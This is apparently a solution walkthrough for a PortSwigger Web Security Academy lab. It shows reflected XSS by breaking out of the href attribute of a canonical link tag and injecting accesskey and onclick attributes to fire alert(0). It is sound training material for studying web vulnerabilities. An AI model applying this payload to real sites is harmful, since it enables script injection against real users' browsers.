Skip to content
Field Value
Platform PortSwigger Web Security Academy
Difficulty Practitioner
Vulnerability Reflected XSS — Attribute Injection in a Canonical Link Tag
Injection Point href attribute inside <link rel="canonical">
Goal Trigger alert(0) via accesskey on a non-interactive element

Lab — Reflected XSS: Attribute Injection in a Canonical Link Tag

Solution Walkthrough

Inspecting the page source reveals our input is reflected inside a <link> canonical tag:

<link rel="canonical" href='https://TARGET.web-security-academy.net/'/>

Adding a query parameter shows it's reflected directly into the href attribute:

/?teto
<link rel="canonical" href='https://TARGET.web-security-academy.net/?teto'/>
Screenshot

Step 1 — Break out of the href attribute

Injecting a single quote closes the href value:

/?'teto
<link rel="canonical" href='https://TARGET.web-security-academy.net/?'teto'/>

The attribute is broken — we can now inject new attributes.

Step 2 — Inject an accesskey and onclick handler

/?'accesskey='x'onclick='alert(0)

The resulting source:

<link rel="canonical" href='https://TARGET.web-security-academy.net/?'accesskey='x'onclick='alert(0)'/>
Screenshot

The accesskey='x' attribute and onclick='alert(0)' are injected into the <link> tag. The lab confirms this as solved :P

Screenshot

This is a rare XSS context. <link> is a non-interactive element — users cannot click it, hover over it, or focus it in the normal sense. This is why <script> and typical event handlers like onmouseover or onerror are useless here.

accesskey is an HTML attribute that assigns a keyboard shortcut to any element — including non-interactive ones. When the user presses the defined key combination, the browser fires a click event on the element, which triggers onclick.

The lab tells us the simulated victim will press ALT+SHIFT+X, CTRL+ALT+X, or ALT+X — so setting accesskey='x' means one of those combinations will trigger the onclick handler.

The closing quote trick:

href='https://site.net/?'accesskey='x'onclick='alert(0)'/>
↑ original open          ↑ we close     ↑ injected attrs   ↑ original close

The application's own '/> at the end of the tag closes our injected onclick='alert(0) — exactly the same pattern as the attribute injection labs.

This technique is Chrome-specific because Chrome handles accesskey on <link> elements differently from other browsers — Firefox and Safari do not fire click events on non-interactive elements via accesskey in the same way.